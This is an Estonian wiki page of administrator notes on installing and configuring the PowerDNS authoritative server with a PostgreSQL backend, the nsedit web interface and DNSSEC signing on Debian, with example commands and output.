PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
